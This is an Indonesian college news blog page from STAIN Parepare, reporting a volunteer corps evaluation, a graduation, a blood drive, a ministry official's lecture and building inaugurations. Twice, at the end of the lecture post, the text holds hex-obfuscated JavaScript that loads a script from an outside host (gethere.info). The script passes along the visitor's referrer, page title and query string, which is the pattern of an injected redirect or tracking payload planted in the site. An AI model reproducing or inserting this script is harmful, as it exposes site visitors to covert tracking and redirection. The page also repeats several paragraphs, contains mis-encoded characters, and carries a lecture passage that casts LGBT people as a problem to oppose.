STAIN PAREPARE - Korps Suka Rela (KSR) PMI Unit 01 STAIN Parepare mengadakan Evaluasi di Aula STAIN Parepare selama empat hari, Jumat-Senin, 04-07 Maret 2016. Evaluasi tersebut merupakan lanjutan dari kegiatan Karantina yang diadakan di Suppa pada 14-19 Februari 2016 yang bertujuan untuk menguji mental kader dan penguasaan materi-materi kepalangmerahan.
"Kegiatan evaluasi ini banyak hal yang ingin dicapai khususnya pengetahuan tentang materi kepalangmerahan dan mental. Kenapa kita harus menguji mental karena evaluasi ini bertujuan untuk bagaimana caranya supaya teman-teman peserta yang di evaluasi sekarang bisa menghandel adek-adek yang akan datang. Disini tujuannya untuk menguji mental dan materi-materi harus dipahami sebelum penjemputan anggota baru", jelas Komandan KSR, Irfan Parumpu.
Peserta yang mengikuti evaluasi merupakan peserta yang telah mengikuti karantina sebanyak 14 orang. Namun semua anggota baru diwajibkan mengikuti forum evaluasi meskipun tidak mengikuti karantina untuk memberikan pertanyaan kepada peserta evaluasi yang memaparkan materinya.
Pada evaluasi tersebut, peserta memaparkan materi yang telah didapatkan di Karantina selama minimal 30 menit. Setelah itu diberikan pertanyaan-pertanyaan oleh peserta, dewan juri maupun dewan senior untuk mengetahui sejauh mana penguasaan materi. Peserta yang dianggap tidak mampu memaparkan materinya dengan baik akan diganti dengan peserta selanjutnya meskipun materinya belum selesai. Untuk peserta yang memiliki nilai tidak mencukupi maka akan di evaluasi kembali sampai mencukupi nilai yang telah ditetapkan.
Dalam evaluasi tersebut, ada dewan juri yang bertindak menilai peserta. Dewan juri tersebut merupakan dewan senior KSR-PMI. Ada beberapa hal yang dinilai oleh dewan juri yaitu penguasaan forum, penguasaan materi dan mental.
Pengurus KSR-PMI berharap agar kader-kader memiliki kualitas yang baik. "Bagaimana kader-kader yang ada di KSR mempunyai kualitas yang baik sehingga apabila teman-teman pengurus sudah demisioner, apalagi mungkin ini adalah kegiatan terakhir di kepengurusan saya, jadi tentunya kita harapkan bagaimana kader-kader yang kita tinggalkan bisa menghadel adik-adik atau calon anggota KSR yang akan datang." Ungkan Komandan KSR.
Sabtu, 05 Maret 2016
Selasa, 01 Maret 2016
STAIN Parepare Wisuda 271 Lulusan Sarjana
STAIN Parepare - STAIN Parepare mewisuda 271 lulusan sarjana dari tiga jurusan, Tarbiyah dan Adab 222 orang, Syari'ah dan Ekonomi Islam 41 orang, Dakwah dan Komunikasi 8 orang, di Auditorium STAIN Parepare, Sabtu (27/02). Pada wisuda kali ini lulusan Program Sarjana yang berpredikat Cum-Laude atau Dengan Pujian berjumlah 44 orang, Tarbiyah dan Adab 30 orang, Syariah dan Ekonomi Islam 11 orang, Dakwah dan Komunikasi 3 orang.
Waktu studi tercepat diraih oleh Fatimah Azzahra dari Program Studi Pendidikan Agama Islam dengan lama studi 3 tahun 6 bulan. Indek Prestasi Kumulatif (IPK) tertinggi diraih oleh Rahmat Amiruddi dari Program Studi Pendidikan Bahasa Inggris dengan IPK 3,98. Lulusan terbaik dari masing-masing jurusan diraih oleh Fatimah Azzahra dari Tarbiyah dan Adab dengan IPK 3,97, Afrianti dari Syariah dan Ekonomi Islam dengan IPK 3,95, serta Zulfajar Najib dari Dakwah dan Komunikasi dengan IPK 3,96.
Dalam laporannya, Ketua STAIN Parepare berharap kepada wisudawan dan wisudawati agar mereka mampu melanjutkan studinya ke jenjang magister.
"Harapan kami, semoga yang lulus sarjana dapat meneruskan ke jenjang magister, dapat mengembangkan ilmunya melalui analisis yang mendalam untuk senantiasa memperoleh derajat mulia di sisi Allah. Yakinlah akan firman-Nya, Allah akan mengangkat derajat orang yang beriman beberapa derajat."
Ketua STAIN Parepare juga berpesan kepada wisudawan/wisudawati agar senantiasa menjaga akhlak karimah dan menjunjung tinggi nilai-nilai Islam dimanapun mereka berkiprah.
"Dengan akhlaklah yang kalian tunjukkan di tengah masyarakat, akan berdampak positif terhadap lembaga kita ini sehingga STAIN Parepare kita akan tegak, dan sebaliknya tanpa akhlak akan rusak. Karena itu, menjadi tugas kita bersama, baik kami yang ada di dalam kampus maupun bagi saudara-saudari yang berkiprah di luar untuk selalu menegakkan akhlak mulia dan menyebarkan panji-panji Islam".
Waktu studi tercepat diraih oleh Fatimah Azzahra dari Program Studi Pendidikan Agama Islam dengan lama studi 3 tahun 6 bulan. Indek Prestasi Kumulatif (IPK) tertinggi diraih oleh Rahmat Amiruddi dari Program Studi Pendidikan Bahasa Inggris dengan IPK 3,98. Lulusan terbaik dari masing-masing jurusan diraih oleh Fatimah Azzahra dari Tarbiyah dan Adab dengan IPK 3,97, Afrianti dari Syariah dan Ekonomi Islam dengan IPK 3,95, serta Zulfajar Najib dari Dakwah dan Komunikasi dengan IPK 3,96.
Dalam laporannya, Ketua STAIN Parepare berharap kepada wisudawan dan wisudawati agar mereka mampu melanjutkan studinya ke jenjang magister.
"Harapan kami, semoga yang lulus sarjana dapat meneruskan ke jenjang magister, dapat mengembangkan ilmunya melalui analisis yang mendalam untuk senantiasa memperoleh derajat mulia di sisi Allah. Yakinlah akan firman-Nya, Allah akan mengangkat derajat orang yang beriman beberapa derajat."
Ketua STAIN Parepare juga berpesan kepada wisudawan/wisudawati agar senantiasa menjaga akhlak karimah dan menjunjung tinggi nilai-nilai Islam dimanapun mereka berkiprah.
"Dengan akhlaklah yang kalian tunjukkan di tengah masyarakat, akan berdampak positif terhadap lembaga kita ini sehingga STAIN Parepare kita akan tegak, dan sebaliknya tanpa akhlak akan rusak. Karena itu, menjadi tugas kita bersama, baik kami yang ada di dalam kampus maupun bagi saudara-saudari yang berkiprah di luar untuk selalu menegakkan akhlak mulia dan menyebarkan panji-panji Islam".
Rabu, 24 Februari 2016
Donor Darah KSR-PMI: Selamatkan Jiwa, Sehatkan Raga
STAIN PAREPARE - Korps Suka Rela (KSR) PMI Unit 01 STAIN Parepare melaksanakan donor darah di Aula STAIN Parepare, Rabu 24 Februari 2016 dengan slogan "Selamatkan Jiwa, Sehatkan Raga". Kegiatan tersebut merupakan program kerja rutin yang dilaksanakan setiap tiga bulan sekali dengan bekerja sama pihak Unit Donor Darah (UDD) Kota Parepare.
Kantong darah yang didapatkan sejumlah 56 kantong yang berasal dari mahasiswa, dosen dan staf STAIN Parepare yang sesuai persyaratan, sehat jasmani, berat badan minimal 45kg, usia 17-60 tahun,tekanan darah baik yaitu sistole = 110 – 160 mmHg, diastole = 70 – 100 mmHg, denyut nadi teratur yaitu sekitar 50 – 100 kali/menit. Sebelum melakukan donor darah, pendonor terlebih dahulu melakukan pemeriksaan terhadap syarat-syarat donor darah agar tidak mengakibatkan hal-hal yang berbahaya bagi kesehatan. Setelah pendonor melakukan donor darah, maka ia diberikan asupan gizi berupa roti, susu dan obat penambah darah yang disediakan oleh Unit Donor Darah (UDD).
Jarak waktu donor darah yang baik yaitu 3 bulan, maka dari itu KSR melaksanakan kegiatan tersebut 3 bulan sekali mengingat bahaya yang ditimbulkan jika kurang dari 3 bulan.
Kegiatan donor darah ini merupakan program kegiatan tahunan KSR-PMI Unit 01 STAIN Parepare yang dilaksanakan sejak tahun 2004 awal terbentuknya lembaga kemahasiswaan tersebut. Kegiatan tersebut bertujuan untuk membantu sesama manusia tanpa membeda-bedakan antara satu dengan yang lainnya.
Slogan donor darah "Selamatkan Jiwa, Sehatkan Raga" merupakan slogan yang digunakan setiap KSR melaksanakan donor darah. Slogan tersebut memiliki makna, Ketua KSR-PMI Unit 01 STAIN Parepare, Irfan Parumpu menjelaskan bahwa "Selamatkan jiwa yang bermakna apabila kita melakukan donor darah bisa menyelamatkan jiwa seorang yang membutuhkan, sehatkan raga yang artinya seseorang yang melakukan donor darah bisa membuat raganya sehat".
Anggota KSR masih melakukan kegiatan donor darah hingga sekarang mengingat bahwa KSR merupakan organisasi kemanusiaan yang rela membantu sesama.
"Alasan kenapa sampai sekarang masih tetap laksanakan donor darah karena KSR adalah organisasi yang bergelut dibidang sosial kemanusiaan sehingga kami dari KSR tidak pernah merasa bosan untuk membantu sesama yang masih membutuhkan bantuan", tutur Ketua KSR-PMI STAIN Parepare, Irfan Parumpu. Lanjutnya, "anggota KSR sadar bahwa sampai saat ini masih banyak sekali orang yang membutuhkan darah sehingga kami tetap antusias melaksanakan program donor darah demi membantu sesama".
Read more :Peresmian Gedung PKM,
Kantong darah yang didapatkan sejumlah 56 kantong yang berasal dari mahasiswa, dosen dan staf STAIN Parepare yang sesuai persyaratan, sehat jasmani, berat badan minimal 45kg, usia 17-60 tahun,tekanan darah baik yaitu sistole = 110 – 160 mmHg, diastole = 70 – 100 mmHg, denyut nadi teratur yaitu sekitar 50 – 100 kali/menit. Sebelum melakukan donor darah, pendonor terlebih dahulu melakukan pemeriksaan terhadap syarat-syarat donor darah agar tidak mengakibatkan hal-hal yang berbahaya bagi kesehatan. Setelah pendonor melakukan donor darah, maka ia diberikan asupan gizi berupa roti, susu dan obat penambah darah yang disediakan oleh Unit Donor Darah (UDD).
Jarak waktu donor darah yang baik yaitu 3 bulan, maka dari itu KSR melaksanakan kegiatan tersebut 3 bulan sekali mengingat bahaya yang ditimbulkan jika kurang dari 3 bulan.
Kegiatan donor darah ini merupakan program kegiatan tahunan KSR-PMI Unit 01 STAIN Parepare yang dilaksanakan sejak tahun 2004 awal terbentuknya lembaga kemahasiswaan tersebut. Kegiatan tersebut bertujuan untuk membantu sesama manusia tanpa membeda-bedakan antara satu dengan yang lainnya.
Slogan donor darah "Selamatkan Jiwa, Sehatkan Raga" merupakan slogan yang digunakan setiap KSR melaksanakan donor darah. Slogan tersebut memiliki makna, Ketua KSR-PMI Unit 01 STAIN Parepare, Irfan Parumpu menjelaskan bahwa "Selamatkan jiwa yang bermakna apabila kita melakukan donor darah bisa menyelamatkan jiwa seorang yang membutuhkan, sehatkan raga yang artinya seseorang yang melakukan donor darah bisa membuat raganya sehat".
Anggota KSR masih melakukan kegiatan donor darah hingga sekarang mengingat bahwa KSR merupakan organisasi kemanusiaan yang rela membantu sesama.
"Alasan kenapa sampai sekarang masih tetap laksanakan donor darah karena KSR adalah organisasi yang bergelut dibidang sosial kemanusiaan sehingga kami dari KSR tidak pernah merasa bosan untuk membantu sesama yang masih membutuhkan bantuan", tutur Ketua KSR-PMI STAIN Parepare, Irfan Parumpu. Lanjutnya, "anggota KSR sadar bahwa sampai saat ini masih banyak sekali orang yang membutuhkan darah sehingga kami tetap antusias melaksanakan program donor darah demi membantu sesama".
Read more :Peresmian Gedung PKM,
Selasa, 23 Februari 2016
Orasi Ilmiah & Amanah Dirjen Pendidikan Islam RI
STAIN PAREPARE-A�Sekolah Tinggi Agama Islam Negeri (STAIN) Parepare, kembali menggelar proses perkuliahan usai libur semester selama kurang lebih dua pekan lamanya, ditandai dengan pembukaan kuliah oleh Ketua STAIN Parepare bapak Dr. Ahmad S. Rustan, M.Si. pada senin, tanggal 22 Februari 2016, di Auditorium STAIN Parepare. Pada pembukaan kuliah kali ini dihadiri oleh Direktur Jenderal (DIRJEN) Pendidikan Islam Kementrian Agama RI bapak Prof. Dr. Phil. H. Kamaruddin Amin, M.A, yang sekaligus akan membawakan kuliah umum pada pembukaan kuliah hari ini.
Kunjungan yang ketiga kalinya dilakukan bapak Dirjen Pendidikan Islam Kementrian Agama Republik Indonesia, ke STAIN Parepare dalam rangka menghadiri launching program magister (S2) pada pasca sarjana Ekonomi Syariah dan Komunikasi Penyiaran Islam, serta peresmian gedung pusat Kegiatan mahasiswa dan gedung perkuliahan jurusan tarbiyah pada pembukaan kuliah semester genap STAIN Parepare tahun ajaran 2016-2017, sekaligus beliau membawakan orasi ilmiah dan amanah pada kuliah umum.
Dalam kesempatan ini beliau menyampaikan beberapa hal penting saat membawakan orasi ilmiah di depan para dosen dan mahasiswa. Beliau mengingatkan bahwa saat ini kita sedang menghadapi tantangan globalisasi, yang kadang-kadang datang lebih cepat dari kesiapan kita, kadang-kadang datang membawa sejumlah transformasi atau perubahan yang kita belum siap untuk menghadapinya, sehingga kadang-kadang kita memberikan respon yang tidak proporsional atau tidak tepat. Fenomena LGBT misalnya adalah sebuah fenomena global yang tidak bisa kita lihat dari satu perspektif saja, tapi kita harus melihatnya dari sebuah perspektif yang lebih makro secara global. Sekarang ini dunia sedang berputar dan diskursusnya bukan lagi pada perbedaan antara Islam dan non Islam, antara Sunni dan Syiah apalagi antara NU dan Muhammadiyah, PMII dan HMI, itu bukan lagi yang menjadi pokok persoalan, tetapi sekarang yang kita hadapi adalah antara sekularisme dan agama.
Ada kontestasi global yang orang Islam harus sadari dan pahami bahwa sedang berlangsung sebuah kontestasi yang sangat intensif jika kita salah memberi respon bisa tidak produktif. di dunia ini diskursus agama tidak bisa dinapikan, karena diskursus tantang agama telah masuk dalam ruang-ruang publik dan itu tidak bisa dihindari oleh siapa pun.
Sehingga kampus itu harus berada pada garis depan untuk mempromosikan nilai-nilai Islam yang sesuai dengan tuntunan Al-Qura��an dan Hadist, kampuslah salah satu yang bisa menentang fenomena LGBT salah satunya. Kampus itu harus responship pada realita dan berkonstribusi terhadap persoalan yang dihadapi oleh masyarakat, maka kampus harus memikirkan apa yang terjadi di masyarakat, kampus tidak boleh berpangku tangan, tidak boleh berdiam diri, hanya fokus pada hal-hal yang ada di kampus dengan membiarkan hal-hal yang tidak baik terjadi diluar, sehingga tidak bisa berkonstribusi terhadap masyarakat.
Seharusnya kampus itu boleh melakukan pekerjaan atau kegiatan-kegiatan yang bisa membantuh masyarakat untuk mencari solusi. Seperti membuka konseling, bimbingan untuk mereka yang sudah terlibat dalam hal yang tidak baik, LGBT misalnya. Intihnya kampus tidak boleh isolitir dari realitas yang terjadi di masyarakat.
Dan di era global saat ini kita tidak bisa pungkiri bahwa begitu banyak perkembangan di negara-negara luar soal information and technology, sehingga sejumlah perguruan tinggi dari luar negeri melakukan kerja sama antar kampus-kampus di negara maju lainnya dengan menggunakan system informasi yang canggih. Ini kita tidak bisa untuk berdiam diri pada perguruan tinggi atau pada kampus kita, tanpa melakukan langkah-langkah perubahan yang inovatif, kreatif dalam bidang proses belajar mengajar dalam mempersiapkan bahan ajar yang menarik agar mahasiswa kita lebih tertarik pada perguruan-perguruan tinggi canggih dan maju. Karena bisa jadi perguruan tinggi yang berkompetisi dibidang global bukan menjadi anugerah pada kita tetapi mala menjadi musibah.
Oleh karena itu tidak ada pilihan lain kampus mana pun harus melakukan langkah-langkah kreatif dan inovatif agar mahasiswa dapat belajar dengan baik. Sehingga diharapkan pada dosen harus memiliki kompetensi, memiliki kemampuan yang berstandar internasional, seorang dosen tidak boleh lagi hanya membaca buku-buku terbitan 10 tahun yang lalu, membaca literatur-literatur yang sudah lama. Dosen sekarang harus sudah mulai mengikuti perkembangan dan mengetahui terbitan buku-buku atau jurnal-jurnal, artikel yang terupdate diakses dari internet terkait dengan masing-masing jurusan. Sehingga anak-anak mahasiswa yang kita ajar mendapatkan materi-materi yang update sesuai dengan perkembangan ilmu pengetahuan saat ini.
Begitu juga dengan mahasiswa tidak boleh merasa puas apa yang didapatkan di kelas mahasiswa harus update melakukan imfrovisasi. Jika anda tidak bekerja keras hari ini serta mempersiapkan diri mulai saat ini dengan membekali ilmu pengetahun jangan berpikir dan berharap 10 tahun yang akan datang, hidup anda akan baik.
Ada tiga hal saya pesan kepada mahasiswa saat ini di era globalisasi kita akan memasuki ekonomi ASEAN. Pertama mahasiswa harus menguasai bahasa asing seperti bahasa inggris dan arab, karena semakin lama kompetisi nasional maupun internasional suka atau tidak itu pasti akan ketemu, kita akan bersaing secara internasional. Oleh karena itu kita harus punya ilmu pengetahuan dan keterampilan.
Kedua adalah Information and Technology (IT), kita harus paham IT meskipun tidak mendalam, tetapi jangan sampai gagap tekhnologi, karena itu keterampilan yang sangat dibutuhkan dimasa yang akan datang. Dan yang ketiga adalah perbaiki akhlak moralitas, jika kita memilki hal yang ketiga ini dan tetap tawadu tidak sombong, tidak arogan, anda berperilaku baik, sopan, insyaAllah kita bisa hidup kapan dan dimanapun dalam era global saat ini dan yang akan datang.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Kunjungan yang ketiga kalinya dilakukan bapak Dirjen Pendidikan Islam Kementrian Agama Republik Indonesia, ke STAIN Parepare dalam rangka menghadiri launching program magister (S2) pada pasca sarjana Ekonomi Syariah dan Komunikasi Penyiaran Islam, serta peresmian gedung pusat Kegiatan mahasiswa dan gedung perkuliahan jurusan tarbiyah pada pembukaan kuliah semester genap STAIN Parepare tahun ajaran 2016-2017, sekaligus beliau membawakan orasi ilmiah dan amanah pada kuliah umum.
Dalam kesempatan ini beliau menyampaikan beberapa hal penting saat membawakan orasi ilmiah di depan para dosen dan mahasiswa. Beliau mengingatkan bahwa saat ini kita sedang menghadapi tantangan globalisasi, yang kadang-kadang datang lebih cepat dari kesiapan kita, kadang-kadang datang membawa sejumlah transformasi atau perubahan yang kita belum siap untuk menghadapinya, sehingga kadang-kadang kita memberikan respon yang tidak proporsional atau tidak tepat. Fenomena LGBT misalnya adalah sebuah fenomena global yang tidak bisa kita lihat dari satu perspektif saja, tapi kita harus melihatnya dari sebuah perspektif yang lebih makro secara global. Sekarang ini dunia sedang berputar dan diskursusnya bukan lagi pada perbedaan antara Islam dan non Islam, antara Sunni dan Syiah apalagi antara NU dan Muhammadiyah, PMII dan HMI, itu bukan lagi yang menjadi pokok persoalan, tetapi sekarang yang kita hadapi adalah antara sekularisme dan agama.
Ada kontestasi global yang orang Islam harus sadari dan pahami bahwa sedang berlangsung sebuah kontestasi yang sangat intensif jika kita salah memberi respon bisa tidak produktif. di dunia ini diskursus agama tidak bisa dinapikan, karena diskursus tantang agama telah masuk dalam ruang-ruang publik dan itu tidak bisa dihindari oleh siapa pun.
Sehingga kampus itu harus berada pada garis depan untuk mempromosikan nilai-nilai Islam yang sesuai dengan tuntunan Al-Qura��an dan Hadist, kampuslah salah satu yang bisa menentang fenomena LGBT salah satunya. Kampus itu harus responship pada realita dan berkonstribusi terhadap persoalan yang dihadapi oleh masyarakat, maka kampus harus memikirkan apa yang terjadi di masyarakat, kampus tidak boleh berpangku tangan, tidak boleh berdiam diri, hanya fokus pada hal-hal yang ada di kampus dengan membiarkan hal-hal yang tidak baik terjadi diluar, sehingga tidak bisa berkonstribusi terhadap masyarakat.
Seharusnya kampus itu boleh melakukan pekerjaan atau kegiatan-kegiatan yang bisa membantuh masyarakat untuk mencari solusi. Seperti membuka konseling, bimbingan untuk mereka yang sudah terlibat dalam hal yang tidak baik, LGBT misalnya. Intihnya kampus tidak boleh isolitir dari realitas yang terjadi di masyarakat.
Dan di era global saat ini kita tidak bisa pungkiri bahwa begitu banyak perkembangan di negara-negara luar soal information and technology, sehingga sejumlah perguruan tinggi dari luar negeri melakukan kerja sama antar kampus-kampus di negara maju lainnya dengan menggunakan system informasi yang canggih. Ini kita tidak bisa untuk berdiam diri pada perguruan tinggi atau pada kampus kita, tanpa melakukan langkah-langkah perubahan yang inovatif, kreatif dalam bidang proses belajar mengajar dalam mempersiapkan bahan ajar yang menarik agar mahasiswa kita lebih tertarik pada perguruan-perguruan tinggi canggih dan maju. Karena bisa jadi perguruan tinggi yang berkompetisi dibidang global bukan menjadi anugerah pada kita tetapi mala menjadi musibah.
Oleh karena itu tidak ada pilihan lain kampus mana pun harus melakukan langkah-langkah kreatif dan inovatif agar mahasiswa dapat belajar dengan baik. Sehingga diharapkan pada dosen harus memiliki kompetensi, memiliki kemampuan yang berstandar internasional, seorang dosen tidak boleh lagi hanya membaca buku-buku terbitan 10 tahun yang lalu, membaca literatur-literatur yang sudah lama. Dosen sekarang harus sudah mulai mengikuti perkembangan dan mengetahui terbitan buku-buku atau jurnal-jurnal, artikel yang terupdate diakses dari internet terkait dengan masing-masing jurusan. Sehingga anak-anak mahasiswa yang kita ajar mendapatkan materi-materi yang update sesuai dengan perkembangan ilmu pengetahuan saat ini.
Begitu juga dengan mahasiswa tidak boleh merasa puas apa yang didapatkan di kelas mahasiswa harus update melakukan imfrovisasi. Jika anda tidak bekerja keras hari ini serta mempersiapkan diri mulai saat ini dengan membekali ilmu pengetahun jangan berpikir dan berharap 10 tahun yang akan datang, hidup anda akan baik.
Ada tiga hal saya pesan kepada mahasiswa saat ini di era globalisasi kita akan memasuki ekonomi ASEAN. Pertama mahasiswa harus menguasai bahasa asing seperti bahasa inggris dan arab, karena semakin lama kompetisi nasional maupun internasional suka atau tidak itu pasti akan ketemu, kita akan bersaing secara internasional. Oleh karena itu kita harus punya ilmu pengetahuan dan keterampilan.
Kedua adalah Information and Technology (IT), kita harus paham IT meskipun tidak mendalam, tetapi jangan sampai gagap tekhnologi, karena itu keterampilan yang sangat dibutuhkan dimasa yang akan datang. Dan yang ketiga adalah perbaiki akhlak moralitas, jika kita memilki hal yang ketiga ini dan tetap tawadu tidak sombong, tidak arogan, anda berperilaku baik, sopan, insyaAllah kita bisa hidup kapan dan dimanapun dalam era global saat ini dan yang akan datang.var _0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Peresmian Gedung Perkuliahan Jurusan Tarbiyah & Adab
Gedung Kuliah Jurusan Tarbiyah & Adab STAIN Parepare di resmikan oleh bapak Dirjen Pendidikan Islam Kementrian Agama RI, Prof. Dr. Phil. H. Kamaruddin Amin M.A, senin 22 Februari 2016 di Auditorium STAIN Parepare dan dilanjutkan dengan penandatanganan prasasti.
Proyek pembangunan gedung kuliah ini telah berjalan sejak 9 Juni hingga 25 Desember 2015 dan penggarap proyek tersebut adalah PT. Sri Bangun Bersama dengan nilai pembangunan gedung sebesar 6,9 Milyar.
Acara peresmian di hadiri oleh Kasubdit Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama RI, Dirjen Pendidikan Islam Kementrian Agama RI, Wali kota Parepare, Ketua STAIN Parepare dan para Pejabat STAIN Parepare serta para dosen dan mahasiswa STAIN Parepare. Gedung baru tersebut di harapkan dapat meninkatkan minat belajar mahasiswa dengan suasana yang baru untuk mahasiswa jurusan tarbiyah & adab.
Proyek pembangunan gedung kuliah ini telah berjalan sejak 9 Juni hingga 25 Desember 2015 dan penggarap proyek tersebut adalah PT. Sri Bangun Bersama dengan nilai pembangunan gedung sebesar 6,9 Milyar.
Acara peresmian di hadiri oleh Kasubdit Pengembangan Akademik Direktorat Pendidikan Tinggi Islam Kementrian Agama RI, Dirjen Pendidikan Islam Kementrian Agama RI, Wali kota Parepare, Ketua STAIN Parepare dan para Pejabat STAIN Parepare serta para dosen dan mahasiswa STAIN Parepare. Gedung baru tersebut di harapkan dapat meninkatkan minat belajar mahasiswa dengan suasana yang baru untuk mahasiswa jurusan tarbiyah & adab.
"Jadilah mahasiswa yang bisa mengelola kemandirian"
Peresmian Gedung Pusat Kegiatan Mahasiswa
STAIN PAREPARE - Direktur Jenderal (Dirjen) Pendidikan Islam (Pendis) Kementrian Agama RI, Prof. Dr. Phil H. Kamaruddin Amin, MA meresmikan gedung Pusat Kegiatan Mahasiswa (PKM), Senin 22 Februari 2016. Peresmian tersebut ditandai dengan penandatangan prasasti oleh Dirjen Pendis Kemenag RI setelah membawakan orasi ilmiahnya di Auditorium STAIN Parepare dan ditandai pula dengan pemotongan pita di depan pintu gedung PKM yang disaksikan oleh Ketua STAIN Parepare, para dosen, dan para fungsioner lembaga kemahasiswaan STAIN Parepare.
Setelah Pembukaan Kuliah di Auditorium, Dirjen Pendis Kemenag RI yang didampingi oleh Ketua STAIN Parepare, para Wakil Ketua dan dosen lainnya menuju gedung PKM. Para fungsioner lembaga berjejer di depan gedung PKM menyambut kedatangan Dirjen Pendis.
Gedung PKM tersebut merupakan tempat para lembaga kemahasiswaan melakukan kegiatan yang menyangkut kelembagaannya demi pengembangan kampus STAIN Parepare. Ketua Dewan Mahasiswa (DEMA) mengutarakan rasa syukurnya atas peresmian gedung PKM tersebut.
"Alhamdulillah setelah sekian lama menunggu akhirnya PKM diresmikan. Ucapan terima kasih kepada pimpinan bahwa ini merupakan bentuk perhatian dan kepedulian kepada lembaga kemahasiswaan terkait tentang pengembangan SDM."
